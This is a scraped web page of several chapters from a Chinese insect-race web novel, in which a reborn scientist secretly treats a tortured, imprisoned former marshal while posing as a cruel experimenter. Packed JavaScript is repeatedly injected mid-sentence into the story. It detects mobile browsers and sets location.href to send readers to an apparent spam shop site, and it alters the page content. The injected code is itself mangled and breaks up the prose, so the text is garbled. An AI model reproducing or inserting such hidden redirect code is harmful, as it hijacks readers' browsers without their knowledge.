l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472123|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他想要推翻这个残暴腐朽的帝国。 当然,他失败了,注射信息素无法取代雄虫自愿施舍的标记。有一瞬间,他几乎怀疑教廷宣讲的神箴是正确的,虫母只创造出了雄虫,作为她的神子,而雌虫和亚雌不是神的子民,他们不过是雄虫为了解闷儿,创造出的玩具和繁衍工具。 没了雄虫,他们活不成,所以他们存在的唯一目的,就是竭尽全力的侍奉雄虫,信仰神子,奉献血、骨、蜜和他们的灵魂。 他不甘心。 所以,他没有束手就擒。他知道自己的叛逆已经招来了恶果,帝国本就忌惮军雌,他做元帅时不敢打输一场战役,因为一旦输了,皇室就有理由撤换元帅,将军雌千年来用血和骨拼来的军团,划分给雄虫接管,待到那时,军雌、乃至平民雌虫和亚雌的宿命,只会加倍苦厄。 失去军团,他们就失去了最后一个立足于雄虫帝国的机会,他们就只能跪着。 在孤注一掷之时,阿克斯走出了战统室,站在了第一军的军雌面前。 他知道自己接下来的话不会被大多数训练有素的军雌理解,实际上,他怀疑任何一位被教会洗脑并且笃信虫神的虫会听进他的妄言,但他还是开口了: “我们已经被母神抛弃了,” 他说:“她离开了我们,将她亲手创造的世界留给了打着神子旗号的鬣狗。神不在乎你我的生死,我们也从不被神看在眼中。我们信仰的那些关于死后踏入荣耀殿的嗔言,不过是雄虫编织出来压榨我们骨血的谎话。” 他说,不要再企图向神祈祷了,不要再奢求神明垂眸了,神不在乎。 我们只有彼此。 说完,他就被赶来的教廷和皇族执刑者当众斩断翅翼。他并没有反抗,也制止了所有部下反抗。他记忆中的最后一幕,是机器人焚烧的能量剑,和他的副官奥科维亚惊恐的脸。 ——“如果没有我,你们不会沦落到这样的下场。” 他耳边传来回忆吱嘎作响的嗡鸣,眼中什么都看不见,只有一片黑暗,只能在还有声音时,对奥科维亚说: “是我的话害了你们。清醒却无法改变这一切,还不如蒙昧着沉沦。” “不是的...”奥科维亚有些惊慌,他从军第四年就因阿克斯倒台而被捕入狱,理论上确实是被连累,但—— “元帅,你不要这么想! 当初你讲话时咬文嚼字的,根本没几个虫听懂你在说什么!我们是只会打仗的军雌,没有文化的——” 实验室门口,憋气偷听的虫崽一个趔趄,穿着机甲跌进门。 15. 雌虫脚白 “咳咳,” 跌进门来的虫崽连忙穿着机甲站稳,假装没听见亚雌实验体的震撼文盲发言。 关于阿克斯的事迹,沃伦这看过档案的自然知道。对方的抗争和牺牲,在同胞浑浑噩噩时的呐喊,那场视死如归的冷静演讲——这些都被一一记录在绝密档案里,那是一个清醒的灵魂焚烧时产生的灼热,像一座永不熄灭的灯塔,也是雄虫发自内心恐惧的东西。 这名叫做奥科维亚的亚雌,是阿克斯做元帅时最后一段时间的副官。阿克斯在军中扶持的将官无数,即便雄虫帝国努力清算,但也没有真正做到连根拔起——帝国需要军雌,当权者也不能将所有将官都杀了。 所以,雄虫将他们分了等级,战斗力和指挥能力高的军雌小惩大戒,而谋略型的军官,比如奥科维亚少将,就被安上叛国罪,一道处理掉,为对战争一无所知的雄虫提供将官的岗位。 而奥科维亚和阿克斯的亲近,则加剧了他的厄运。他和其他与阿克斯亲近的军雌在五年前陆续落马,辗转押送至帝国研究院,成为实验耗材,也称为压垮阿克斯精神的稻草。 在这样悲惨沉重的命运之中,胖虫崽原本的计划是让阿克斯好好跟奥科维亚见面,激起阿克斯的求生欲和倾诉的欲望。他穿着机甲,不着急现身,只在门口偷听,想了解之后要从哪个方面下手,才能让阿克斯的心理问题得以改善。 是的,心理问题。当初在二战时被关入奥斯维辛集中营的人可不只遭受了身体上的折磨,还有心理上的毁灭性打击,以至于少有的幸存者多年后仍然无法真正恢复过来。 可还没等沃伦得到有效的信息,就被奥利维亚一句“没听懂”哽得左脚绊右脚,踉跄踏入实验室,脑海中风云际会、虽千万人吾往矣的豪情,都化作泡沫,一下就破灭了。 虫崽一身两米高的机甲发出金属特有的嗡嗡声音,奥利维亚和阿克斯立刻噤声,目光齐齐转向他的方向,眼中满是警惕。 沃伦赶紧挺直两米的高挑铁躯,维持反派降临的威严: “今天,我收到了19名实验体,都和你有关,x010。为了他们,你会配合我的实验的,是吧?” 阿克斯收敛了所有情绪,奥利维亚却在惊怒之中不断发抖,清秀的面容扭曲起来,喉咙发出嘶声: “您绝对不可能用我来威胁元帅,冕下!在您这么做之前,我会结束自己的生命!” 奥利维亚剧烈起伏的情绪引发了系统警报,但被沃伦改造的系统并没有实施任何警戒措施。而在面对过阿克斯那凛冬罡风似的杀气之后,沃伦对奥利维亚的小打小闹不以为意: “他一直在被威胁。”沃伦实事求是的话中透露着一丝不自知的冷酷: “他替你们进入角斗场生死斗,为你们承受一次次的药剂注射,也为你们才活到现在,他想要死——” “别说了!” 阿克斯僵直的身体突然弹动起来,像一只奄奄一息的野兽猛然呲牙: “我会配合。” “很好。” 虫崽迅速说道,在说完炮灰发言后,他比其他两个虫更希望逃离这尴尬的场景: “我给你们最后一点时间叙旧。记住,只要老实配合,谁都不会死。” 说完,虫崽驾驶着两米高的机甲闪出了实验室,独留两个警惕的实验体缓缓放松下来。 “元帅,您怎么能为我们做这些?从加入军团的那一刻起,你就知道我没有价值,我只是一个废物,一个b级亚雌,我没有翅翼,在战场上只有死路一条,如果不是您将我调为您的副官,我早就该死了,没什么值得可喜的地方!您的命才是有价值的,我去配合那个穿着机甲、不敢以真面目示虫的实验员,请您不要再管我们了,元帅!他们并没有捉走所有虫,军雌永远不会忘记您,您活下去才有希望!” “不管你们,我就能活吗?” 阿克斯常年不苟言笑。即便面容俊美,但他从破壳起便因为等级高,被帝国作为军雌培养,从不会笑容温婉地讨好雄虫,常年军旅更没有机会大笑。 但此刻,他却笑了。冰霜似的面容如春水柔漾,灰色的眼眸失去了灵动,却掩不住其中坚毅。 “他们的目标是我,捉你们来折磨也是因为我。奥科维亚,不要再骗我了,我的话你们都听懂了,你们知道神明不会庇佑我们,我尝试挑战她的神威,我失败了,这都是我的错。而你从来不是一个废物,奥科维亚,你或许不像埃德温那样拥有顶级战力,但你有一颗七窍玲珑的心,你比我见过的任何雌虫、亚雌都要聪颖。是我将你们拖入了泥潭之中。 “等我死了,你们找机会逃出去。” 他说完,也听不清奥科维亚的否认和悲恸,支撑着支离病骨站起身,右腿裸露出来的腿骨在灯光下阴森可怖。 他抬手敲了敲等离子壁,对着虚空中肉眼不可见的粒子监视器说: “可以开始实验了。” * 隔壁实验室,被裹在钢铁机甲之中的胖崽被阿克斯隔空一眼看得心慌意乱,短胖的萝卜腿一滑,让传感控制的机甲也滑倒在地,砸坏了一个价值高昂的分子合成装置。 胖崽深感丢脸,若无其事地爬起来。 他并没有怕阿克斯,一点儿也不。 他只是有点震撼。他从不知一个生物能用钢铁灌注禁锢,又用冰雪塑成血肉,最猛烈的宇宙罡风也无法屈其节,毁其志,比顽石更加冷硬。 可他却又有一颗星子般炙热的心脏。无论是风华正茂还是病骨支离,他想要为自己的同胞开辟一处光明之所,无私而决绝。他或许不是一个人类,却拥有人类极致的理想主义坚守,像古典传说中将火种播撒于人间的普罗米修斯。 仅仅是他隔空投来的一个目光,就足以让沃伦这个死宅实验员心惊肉跳,心率狂飙至200,但是他却还要稳住邪恶炮灰的面具,去当阿克斯的雄主。 虫崽鼓了鼓苹果脸儿,强装镇定地让主脑给自己的机甲带上一枚领结,装扮成大人模样,进入了无菌实验室。 炮灰任务第二步,在言语羞辱阿克斯之后,对其进行惨无人道的活体实验。 实验室洁净如新,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472124|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沃伦吩咐主系统重新修整过,整体沐浴在星球日光之下,一个宽阔的操作台,还有一个等离子壁隔出的宽敞牢笼。 阿克斯此时正平躺在操作台上,手腕和脚腕都被牢牢锁定,像一尾离案的白鱼。 对于操作台,沃伦本应再熟悉不过,但是此刻却心如擂鼓——操作台上的雌虫此刻太狼狈了,满身死志,但他仍然是个美人。 沃伦扩充成八条的精神触须不经召唤,就从异度空间倾巢而出,不知廉耻地缠绕在阿克斯冰冷的身体上,散发着阳光似的暖意。 阿克斯皱眉,却也没有力气绷紧肌肉了。长久的疼痛损坏了他一部分脑神经,他的感官变得无比迟钝,耳中一片刺耳的嗡鸣,那源于他变成一片废墟、失去联系的精神海。 而讽刺的是,雌虫的生理就是如此廉价,在雄虫精神触须裹上来的那一刻,枯竭的精神海像是活了过来,恬不知耻地叫嚣着,让阿克斯生出一股难以言喻、无法压制的冲动,去恳求雄虫垂怜。 ...用奴颜婢膝的姿态,去祈求自己的生命被拯救。 那股渴望焚烧似的,让阿克斯行将就木的身体再次战栗起来,比任何一次烧得都旺。新来的雄虫实验员强得可怕,缠绕在自己身上的精神触须凝实而强大,足足有八条,如同狸猫戏鼠,能够轻而易举让自己魂飞魄散——在阿克斯的经验里,这至少是一只a+级别,离s级只有一线之遥的高等雄虫。 这样的雄虫,足以让帝国任何雌虫和亚雌尊严尽失,婉转求欢,甚至被剥夺性命都在所不惜。 从基因里蔓延出来的渴求让阿克斯平稳的心变得躁动不安,骤然加速的心跳像干涸的鼓点,歇斯底里地灼烧着: “你有什么手段,尽管用吧,不要用你的脏触手碰我。” 阿克斯哑声说,被雌虫唾弃的触手一僵,像被母兽呵斥的幼兽一样蜷缩起来,整整八条强悍的、神力构成的触须惹人怜爱的颤抖起来,从异度空间发出细细密密,幼儿啼哭似的声响,委屈又不知所措地从阿克斯的脸颊、脖颈儿和手臂上撤开,却又舍不得真的离去,卷成一大坨树藤似的疙瘩,圈住阿克斯冰凉的脚踝和脚趾。 别说沃伦不忍直视,闭了几次眼睛,就算是阿克斯都忍不住猛缩脚趾,看得出他很想将那团触须踢开,可是脚腕上的禁锢却让他丝毫无法活动,只能屏息,不安地挪动玉白的脚尖躲避,像人鱼甩尾似的。 他的脚生很漂亮,并不精致但骨相玲珑,即便他此刻遍体鳞伤,但无论是实验还是角斗场,都没有虫攻击他的脚趾,以至于他今天也是第一次知道,自己的脚趾很怕痒。 这该死的雄虫... 阿克斯惨白的脸颊硬生生被逼出一丝浅樱色的晕红,了无生趣的心被这变故搅乱,恨不得亲手撕了这莫名其妙的雄虫。 “抱...抱你,怎么了?” 虫崽本能想要道歉,但立刻为了炮灰人设纠正了过来,钢铁机甲下的小脸儿涨的通红。 雄虫阴郁而嚣张的声音透过变声期传来,阿克斯恼怒地瞥过脸,露出薄怒的面孔,美得惊心动魄。 16. 炮灰崽濒临掉马 一瞬间,沃伦仿佛被雌虫的面庞慑住,心悸得厉害。 他仗着雌虫看不见,用意念拼命拖拽自己不听话的精神触须,可是在吞噬老亲王的大半触须后,他的神力更加不听使唤,至少在非严肃场合,像一条倔强的狗子一样充满自己的想法。 它倔强可以,沃伦的脸都被丢尽了呀! 他不是什么登徒子!反派炮灰就不能有点格调吗! 雄虫崽用自己的机甲拽自己的触须,可是雄虫的神力是高维度的力量,不可被这个世界的力量破解,也不可捉摸,还把沃伦刚刚让主脑升级完的一条机械臂给烧掉了。 空气中传出刺鼻的焦味儿,阿克斯皱起眉,似乎正在脑内推算雄虫在干什么,浑然不知自己面前的邪恶虫崽手忙脚乱到了什么地步。 “今天,我将给你注射我新研发的止...病毒!杀戮病毒!” 沃伦暂时拿他自己的猥琐触须没辙,为了避免拉长阿克斯被捉弄的尴尬,他紧急说出炮灰发言转移阿克斯的注意力。 ...想想也知道,阿克斯这样心高气傲,意志如铁的雌虫,被一个虫崽的精神触须猥/亵就够惨了,总不能让对方一边痛苦一边羞愤。 沃伦拿出的自然是止痛药。在先前短暂的时间里,他已经用实验室的许多星兽,还有阿克斯曾经的一个属下试验过药效了。他当然想为了确保药效,通过一个完整的三期实验周期,但是阿克斯的情况不允许他磨蹭更久。 他必须给阿克斯止痛,让阿克斯能进入松弛和休眠期。他让主脑给阿克斯准备的新牢房离他的实验区和生活区都很近,囚牢已经被布置了最顶级的医疗仓。 是的,医疗仓的灵感来源于亲王府。沃伦一眼就看中了老亲王的医疗仓,它能让老亲王在精神力失控的情况下,保持住身体不死和溃烂,是虫族最前沿的科技,能完美保证阿克斯在极度衰弱的情况下维系生命。 但更多的,就不是当前的科技能办到的范畴了。实际上,就连医疗仓都只是雄虫特供,哪怕上战场的军雌,都主要靠自愈来修复伤口,没有任何雄虫会允许雌虫使用医疗仓。 但虫族的规矩对沃伦来说,远没有厕纸重要。他现在只想顺利为阿克斯打一针止痛药,然后进行伤口处理。 庆幸的是,止痛药有一定松弛作用,之前被注射止痛药的军雌实验体已经陷入了昏睡,正好让虫崽有时间操作,幸运的话,阿克斯会真的觉得这是什么劳什子“杀戮病毒”,不知道虫崽做了什么手脚。 这就是邪恶炮灰的基本素养。 虫崽眯起小狗眼,作出一个冷酷表情,给自己壮壮胆: “我研发的杀戮病毒,让虫痛苦无比,你被注射以后不仅会失去意识,让我为所欲为,还可能会产生幻觉,当然,那些都只是幻觉而已,现实中的你非常痛苦,求天天不应求地地不灵!” ——所以一会儿如果感受到我缝合伤口,那是你的幻觉! 邪恶虫崽压低声音,他的清脆娃娃音被变声器扭曲过,如同恶鬼般邪佞可怖,让虫崽脑海中的系统都打了个激灵,但它也没忘担当宿主的提词器: “宿主,别忘了趁机稳固自己的人设!你是要做阿克斯雄主的雄虫!” “还有!” 虫崽将止痛药的针剂刺入雌虫的血管,紧急加戏: “...到时候,我会让你求着成为我的雌虫!” ——“女人,现在对我爱搭不理,以后让你高攀不起!” 关于某些地球霸总小说的记忆突然涌入沃伦脑海,让虫崽的脸颊持续升温——他只知道炮灰很邪恶,哪知道炮灰的台词还这么羞耻,就连他这种莫得感情的小白鼠杀手都无法维持冷漠。 偏偏在此刻,他的猥琐触手让一切雪上加霜。只见那一坨触手正胆大包天地蹭雌虫弓起的脚心,企图博得一点允许和关注,硬生生将惨白的脚心蹭出了红晕。 仰躺在实验台上的阿克斯咬牙忍着,相比起手臂上被注射的冷冰冰的药剂,他脚底的异状才更难忍,他的思维因为重伤而变得很散乱,竟然没有自制力地瞎想,如果雄虫实验者一开始就在他身上使用阴损的招数,用雄虫的精神触须引动他作为雌虫对雄虫病态、残缺的渴望,用触须骚扰他的脚掌,做下作猥琐之事,他可能撑不了这么久。 军雌善于忍耐的是疼痛和折辱,却不是让他无地自容的痒意。 该死—— 一向不屑于咒骂的阿克斯在心里爆了粗口,竟然恨不得自己刚被注射的什么病毒发作快一点——那无非是疼痛、消亡、反复的濒死,他早就习惯了,只要把脚上让他无法忍受的痒弄远些,怎样都可以! 他不明白,雄虫自恃高贵,认为自己的精神力是神子的象征,用它们来展示和杀戮雌虫、亚雌居多,绝不会用它们纠缠、骚扰、触碰雌虫。甚至,在教廷的宣讲中,一部分对母神虔诚而得体的雄虫应该标记更多的雌虫、亚雌让他们怀蛋,但绝不浪费自己的神力清理这些雌虫和亚雌的精神海,让他们即便得到了雄虫的信息素标记,却还是因为精神海枯竭而死去。 这样的雄虫,被教廷称为侍神者,而更为可悲的是,即使这些侍神者对雌虫和亚雌毫无怜悯,仍然有前仆后继的虫恳求他们的标记,只因雄虫信息素能治愈雌虫和亚雌的信息素匮乏症,能让他们短暂摆脱基因崩溃的痛苦。 而之后,即便这些雌虫和亚雌因得不到精神梳理而死亡,他们仍然是满心感激的,因为侍神者可能赏赐了他们一枚虫蛋,又或许因为他们的信仰让他们坚信,只有得到雄虫眷顾的雌虫和亚雌,才能在死后进入荣耀殿,继续追随神子和母神。 而此刻,大多数雌虫和亚雌一声求而不得的精神触须,竟然在对他的脚做这么...猥琐的事! 阿克斯的思维更加散乱,脚上的分神让他对雄虫实验员阴森残忍没什么怒火,他只觉得很奇怪。 如果他没感觉错,他脚底的雄虫精神力数量超过四条,也就是说雄虫的精神力至少是a+级。所谓a+,就是超出了普通雄虫e级到a级的评价范畴,向传说中的神子级别靠近了。 这样的雄虫在如今雄虫诞生率日渐走低的帝国是金贵的,不会直白的露出精神触须触碰雌虫和亚雌,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472125|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别提他这种身体残破的实验体了。 他不明白雄虫为什么一边做着这么猥琐的事,一边讲一些无关紧要的废话——大多数雄虫实验者不会告知实验体他们的实验内容、药品的名称和用药反应,因为他们喜欢欣赏实验体的紧张、惨叫和越发绝望的样子。 眼前的雄虫有哪里不对劲。 久经战场的直觉让阿克斯得出了这个结论,但是他的思维却被一股强烈的睡意侵袭了。 高等雌虫大多体质强悍,在全盛时期,他们几乎不需要睡眠,能保持长期的作战,是雄虫帝国最为所向披靡的武器。 阿克斯早就不是当年的帝国元帅,但是他仍然在被实验室囚困的五年多,没有允许自己陷入睡眠,哪怕这加重了他精神海的衰败。 他在对抗自己的本能,忽视自己身体歇斯底里的求救。就像实验室那些雄虫等不来他的求饶,他在这点微末小事上,也不肯放纵自己屈服。 他从不屈服。 阿克斯不知道这一次的药剂有什么作用,但是大抵是疼痛,融化骨肉,或者让他七窍流血。 但是不,他只感觉到一股灭顶的疲惫,像潮水一样席卷着他的意志。可是意志越薄弱,他的本能就乘机冒头,对雄虫触须的抵抗也大大削弱了。 朦胧中,他感受到了脚边的精神触须正在顺着他的小腿,缓慢向上攀爬,而他那腺体破损的身体,正在歇斯底里却又无计可施的渴求着,再也兴不起半点儿抵抗的欲望。 疼痛退去,渐渐压不住其他触感,痒意更盛,阿克斯闭上了眼,眉心仍然拧起,被痒、暖、渴求等等陌生的感受蔓延上来,他尽力保持着自己的清明。 他看上去像是终于昏迷过去了。 * 胖虫崽松了一口气。 天知道他有多心惊胆战,不仅是因为他的恐吓行为让他愧疚,也不是因为他那该死的、猥琐的触须仍然在不听使唤地纠缠阿克斯。 他实在是无法眼睁睁看着阿克斯这副衰弱濒死的模样,却什么都不敢做了。 沃伦时常标榜自己是个莫得感情的实验者,针下亡魂不计其数,但是即便他是撒旦,看到阿克斯如今的模样也不可能无动于衷—— 他来到这个世界唯一的目的,他需要拯救(划掉)虐待的虫,正在如同一团初冬的冰雪,融化在他的面前。 他得救他,即便他对上次受到的“拦腰”攻击,仍然心有余悸。 眼看雌虫闭上了双眼,身体也松懈下来,虫崽驾驶独臂机甲,缓缓又怂怂地靠近实验体,发现自己没有被腰斩后,立刻掏出了他在整个实验室搜罗来的各种针剂、药品甚至绷带。 这个世界雌虫和亚雌体质强悍,基本只靠自愈,雄虫的身体则和地球人没什么区别,沃伦拿的绷带是雄虫能用的,现在基本已被淘汰,但用在此刻的阿克斯身上也是正好,因为对方糟糕的身体状况已经无法支撑他完成任何自愈。 虫崽的机甲站在操作台旁边,正准备操作,却发现自己的只剩下一条机械手臂了。 他的左臂刚才被他猥琐的精神触须溶解了! 17. 哦漏,翻车了 那一瞬间,沃伦的冷汗也掉了下来,但他等不及先去让主脑修复机甲,或者再造一个机甲了,他需要立刻给阿克斯动手术。 他需要帮助阿克斯摆脱如跗骨疽的疼痛,因为他知道对于处于精神脆弱状态的生物来说,疼痛造成的损伤是巨大的,而他也需要帮助阿克斯缝合伤口,在这个过程中,他不能允许自己加剧阿克斯的疼痛。 在人类历史上,从不缺乏患者在治疗过程中疼死的案例。沃伦知道阿克斯不是常人,他可以硬进行手术,那样也更符合他的炮灰人设,不引起阿克斯的丝毫怀疑,但他不想。 他莫名的,就是不希望自己真的为阿克斯带来苦厄,即便这是他的人设,即便他知道阿克斯可以承受。 下一秒,一个圆滚滚的幼崽从机甲胸口的位置滚了出来,用屁股着地的姿势落在了操作台上,圆圆的脸痛出包子褶儿,偏偏在下一秒云淡风轻地站起来,扯了扯自己贴在胖肚皮上的,合身的白大褂,作出淡定从容之态。 实验室的穹顶垂下几只机械手,正在抢修机甲,而虫崽用短胖的小手掀开准备好的药品箱,捧出一把手术刀,并且在下一秒被锋利的手术刀划破了小胖手。 该死! 虫崽凝眉暗骂。虽然他聪明绝顶,但是终究和这个幼崽躯壳相融度较低,在紧张的情况下难免出错。而他刚才像脱缰野狗,怎么都唤不回来的精神触须此刻凑了过来,如臂指使,帮他拿起了操作工具。 比他的胖手好用多了,像凭空长出了八只手并且开了天眼。 沃伦也没心思计较触须的猥琐和可恶了,他划开了阿克斯单薄的实验服,开始一点点清理他的伤口,并且注射修复药剂,并且观察效果。 阿克斯受伤太重,内脏全都是破损的,在翅翼被摘除后,体内的经脉一点点枯竭。在前五年里,阿克斯所有的战斗和自愈,都是在压榨经脉和自己的潜能。 换句话说,他的身体就像一颗枯死的巨木,他将自己的躯干一点点焚烧似的干净,换来不肯屈服的昼夜,代价是即将到来的,从肉到灵的彻彻底底的消亡。 死亡并不罕见,但是沃伦却见过他在绝密档案中留下的剪影——他是旷古绝今的战神,一个时代的绝响,亿万军雌的信仰。他原本是这个世界最强大的雌虫,如果别虫的潜力是一杯水、一碗茶,他的潜力是广博的湖泊。 这样的潜力,被他毫不犹豫地烧干了。 用原始的手段为阿克斯处理好了所有外伤,又用精神触须探出阿克斯体内状况的沃伦深深拧起了眉头,小饼脸愁眉不展,狗狗眼也耷拉下来。 他想不通已经燃尽潜力的阿克斯,到底还能怎么压榨潜力,推平帝国研究院的? 此刻阿克斯像一个干瘪的牛皮水袋,已经被人反反复复抖落好几遍,一滴水都挤不出来了,他还能怎么做? 沃伦知道,外面无数的军雌还在怀念阿克斯,还在仰仗着阿克斯带他们走入黎明,但是他们不知道他们的领袖,他们的元帅已经一无所有,残破的身体随时都可能断气。任何一个有理智的虫都会想让阿克斯静养,每天三顿祈祷阿克斯活下去,没有虫会异想天开,觉得他还能站起来,还能翱翔天际。 所有虫都在仰仗阿克斯再创奇迹,但阿克斯仰仗不了任何虫。 实际上,对于绝大多数的亚雌和雌虫来说,在科学范畴之外,还有一剂肉白骨的良药,那就是雄虫信息素。 这并不让人意外,毕竟雌虫和亚雌大多数疾病,来源于他们的雄虫信息素匮乏症,这是一种无法抵抗的基因病,等级越高,发病越早。可是对于阿克斯来说,雄虫信息素也没有多少用处。 一来,他的叛国罪证之一就是非法搜集雄虫信息素并使用,企图延缓他的信息素匮乏症发作。结果是,阿克斯失败了,没有被标记的前提下强行注入信息素确实暂时拖住了基因崩溃,但是它无法阻挠精神海缺乏抚慰的溃败,也造成了一种并发症。 那就是对雄虫的瘾和渴,千百倍地侵袭着神志,非雄虫自愿标记赠予的信息素不仅不是良药,反而是一种毒。在某种程度上,加剧了阿克斯精神海的衰败。 二来,阿克斯的雌虫腺体已经被他自己摧毁,后被恼羞成怒的老亲王烧毁,从此,阿克斯断绝了自己被雄虫标记,成为雄虫脚下奴隶的可能,但也断绝了自己最后一条偷生之路。 而现在,摆在虫崽面前的选择很有限。 作为一个炮灰,沃伦是肯定不能强行标记阿克斯的,他只能帮阿克斯梳理精神海,就这还得偷偷摸摸地来,不能露出痕迹。而即便他走投无路,必须用标记的方式拯救阿克斯,他也做不到。 他没有作案工具。 是的,即便虫族是一个人外种族,也要讲养鸡的基本法,一个四头身是绝不可能拥有作案工具的。而自打沃伦吞噬了老亲王的部分精神力后,他明显察觉到自己的触须变强,或许有一天能改变原主的残疾命运,成功完成变态发育,搓一根作案工具出来,但是恐怕没那么容易。 更何况,阿克斯的个虫意愿不能忽视。沃伦丝毫不怀疑,他如果敢用炮灰之身动什么不该有的心思,恐怕不是腰斩那么简单了。 至少是个乐高碎积木的下场。 对了,他还是个直男,他对阿克斯没有乱七八糟的心思,这当然也是重要的论据。 直男沃伦安静了一会儿,发现系统并不在线,没发现自己刚才越轨的那些想法,也没有误会自己。 幸好,否则很难解释“自己是直男”这个理由最后才浮现在脑海里。 胡乱想着,虫崽终于用浸了药剂的棉布擦拭完所有手术创口,又用纱布将阿克斯重新裹了起来。他撅着小屁股,哼哧哼哧忙出一头汗,还指挥着精神触须去给阿克斯暖手和脚。 阿克斯现在感觉很古怪。 他的意识被分割成好几份,一部分漂浮在悬崖边,悬崖下不是狂风骤雨,而是一片久违的、奇特的安稳气息。 如影随形、深入骨髓的痛觉消影无踪,沉寂和宁静降临,仿佛绵长的浩劫和折磨消散了。 有一瞬间,阿克斯怀疑自己死了,因为他想象不出除了死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472126|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡,什么才能使疼痛停下。 可他很快打消了这个念头,因为他背叛了母神,而背叛带来的后果是生前死后无枝可依。他的灵魂会被彻底的湮灭,成为浩瀚宇宙中的一缕尘埃,没有价值,没有宁静,也没有安稳。 崖底的沉静和安稳像一场他经历过的,最大的骗局,正在拼尽全力召唤着他。跳下来吧,跳下来吧,休息吧,屈服吧。 这里没有疼痛了,沉眠吧,只愿不醒。 阿克斯没动。 他飘在悬崖边,意识沉沉浮浮,本就失去视力,他的感官也变得很模糊,但他仍然在尽力警戒,模糊中感觉自己摸到了一个软乎乎的球状物,柔软而无害。 现实里,为了帮助阿克斯缠绷带,胖虫崽憋红了小脸儿,用脑袋顶起了雌虫的一只手——这也不怪他,在这个世界,高等雌虫的身体密度和地球人不一样,即便阿克斯形同废虫,他的重量也不是四头身能扛起的。 八爪鱼似的精神触须又派上了用场,它们尽可能轻柔地抬起了雌虫的身体,让绷带顺利裹满了阿克斯全身,除了没受伤的一双裸足,和半片胸肌鼓胀的胸膛。 虫崽没管自己的触须如何对阿克斯又贴又蹭,因为这触须对修复阿克斯的身体帮了大忙(而且他管不了),他让触须把阿克斯的上半身微微拖住,自己蹲在操作台上研究阿克斯背后的翅鞘。 这是阿克斯身上最重、也最让虫崽手足无措的伤口。 沃伦当然查阅了虫族关于雌虫翅翼的资料,但结果无一不是雌虫失去翅翼就会死,因为失去翅翼的雌虫会像破了口的杯子,眼睁睁看着能量一点点流失掉,而阿克斯能在失去翅翼后存活五年之久,是虫族历史上绝无仅有的奇迹。 阿克斯空荡荡的翅鞘呈现乌色,像是白雪上的墨痕。盖乌斯新撕出的伤口被虫崽缝合喷药了,可是对于空翅鞘,他没有任何头绪。 他看得太入神,精神触须有所感应似的,伸出无数小突触,爱怜又悲切地抚过阿克斯的翅鞘,突触像毛刷一样呵护着阿克斯的疮口。 而他和触须都不知道,翅鞘是一个雌虫身上最敏感的部位,哪怕阿克斯千疮百孔的翅鞘也是一样。刹那间,阿克斯的身体如同过了电似的簌簌抖动起来,神志冲破那蛊惑的黑暗和沉眠,回归现实。 虫崽立刻就察觉到了大祸临头。他一把扇开惊慌又欣喜地凑上去的触须,头一铁就想往实验台下面跳。 并不是沃伦脑子打结,也不是他喜欢摔屁股蹲儿,但是他现在和阿克斯之间,没有等离子壁啊!!! 这和与猛虎共处一笼有什么区别?!他不想被腰斩! 刚当雄虫不久,沃伦跟自己的猥琐触须缺乏合作意识,潜意识里他知道有触须在,全盛的阿克斯也很难杀他,可是现实是,他根本不信任自己的猥琐触须。 可事与愿违,沃伦是在高估了一个球状四头身的灵活程度,就在他刚摆出高台跳水的动作瞬间,他被一只冰凉的手提住了后脖颈。 “什么东西?!” 雌虫清冽的声音含着隐怒。 18. 一个胖东西 被提住脖颈儿拎起来的感觉,187的地球成年男人沃伦已经很久没体会过了。 胖虫崽被他的迷你白大褂勒住了胖肚子,四只胖萝卜似的胳膊和腿绝望地在半空中划拉,喉咙里被挤出了一声“叽叽”叫。 像个惊慌失措的动物幼崽。 霎那间,沃伦用尽全力思索他前生驰骋实验室的冷酷瞬间,才勉强拾起了学霸天才掉落的脸皮。他强作镇定,天才大脑飞速旋转,企图寻找一个合适的保命方案。 出乎意料的是,在他丢脸的幼崽叽叫后,拎着他的冰冷手指停止了虫化,似乎僵硬了一瞬。 “...幼崽?” 雌虫冰冷的声音流露出困惑,他的身体仍然被恬不知耻的精神触须缠绕着,这让他刚刚恢复的神志无比紧绷——他对雄虫的精神触须毫无信任,甚至可以说无比憎恨。 在精神触须的歪缠中,他谨慎地把手中的胖东西放下了,目盲的双眸眨了眨,其他感官保持着极高的警惕。 